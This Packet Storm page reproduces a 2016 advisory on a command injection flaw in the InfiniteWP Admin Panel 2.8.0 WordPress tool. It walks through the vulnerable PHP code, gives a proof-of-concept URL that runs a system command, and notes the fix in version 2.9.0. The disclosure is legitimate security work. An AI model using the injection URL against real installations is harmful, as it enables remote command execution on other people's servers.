exploit the possibilities

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection
Posted Sep 10, 2016
Authored by Securify B.V., Sipke Mellema

WordPress InfiniteWP Admin Panel version 2.8.0 suffers from a command injection vulnerability.

tags | exploit
MD5 | 887f0ed6e301bc620514d8b242b87f9b

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection

Change Mirror Download
------------------------------------------------------------------------
Command injection in InfiniteWP Admin Panel
------------------------------------------------------------------------
Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
The InfiniteWP Admin Panel can be used to execute arbitrary system
commands. The vulnerability can be exploited using an authorization
bypass or by making an authorized user visit a specially crafted URL.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0006

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/command_injection_in_infinitewp_admin_panel.html

The file ajax.php can be used to execute arbitrary system commands on a system running the InfiniteWP plugin Admin Panel. When an authorized user calls ajax.php, the handler method from the panelRequestManager class is called:

$result = panelRequestManager::handler($_REQUEST);

In this handler an if statement will check access levels, if the method userRestrictChecking is implemented. However, this method is not implemented in the default (free) version.

The code will follow on with converting user input to multiple variables.

$actionResult = $data = array();
$action = $requestData['action'];
$siteIDs = $requestData['args']['siteIDs'];
$params = $requestData['args']['params'];
$extras = $requestData['args']['extras'];
$requiredData = $requestData['requiredData'];

Later on in the code, the method requiredData is called with user data as an argument.

$data = self::requiredData($requiredData);

The method requiredData will try to execute methods supplied by the user, using the method evaluateMethod. Multiple methods are allowed.

foreach($requiredData as $action => $args){
$data[$action] = self::evaluateMethod($action, $args);

The evaluateMethod method will check if the requested action exists in the panelRequestManager class. If so, the action will be called with the arguments as requested by the user. If the method does not exist in the panelRequestManager class, the code will check if the action exists in the array self::$addonFunctions. If it is, the action will get executed.

public static function evaluateMethod($action, $args){
if(method_exists('panelRequestManager', $action)){
if($action == 'getSitesUpdates'){
return self::$action($GLOBALS['userID']);
}else{
return self::$action($args);
}
eif(in_array($action, self::$addonFunctions) && function_exists($action)){
return call_user_func($action, $args);

By default, users can only execute commands that are contained in the panelRequestManager class, or in self::$addonFunctions. But the panelRequestManager class includes a method called addFunctions that can be used to add methods to the array of methods that can be called from evaluateMethod. It's possible to invoke the addFunctions method to include system commands in the list of allowed methods.

public static function addFunctions(){
$args = func_get_args();
self::$addonFunctions = array_merge(self::$addonFunctions, $args);
}

The vulnerability can be exploited using an authorization bypass or by making an authorized user visit a URL.
Proof of concept

Have a logged in user visit the following URL:
http://www.<webserver>.com/IWPAdminPanel_v2.8.0/ajax.php?action=foo&requiredData%5BaddFunctions%5D=system&requiredData%5Bsystem%5D=whoami

It should now look something like:

{"actionResult":[],"data":{"addFunctions":null,"system":"www-data"}...


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close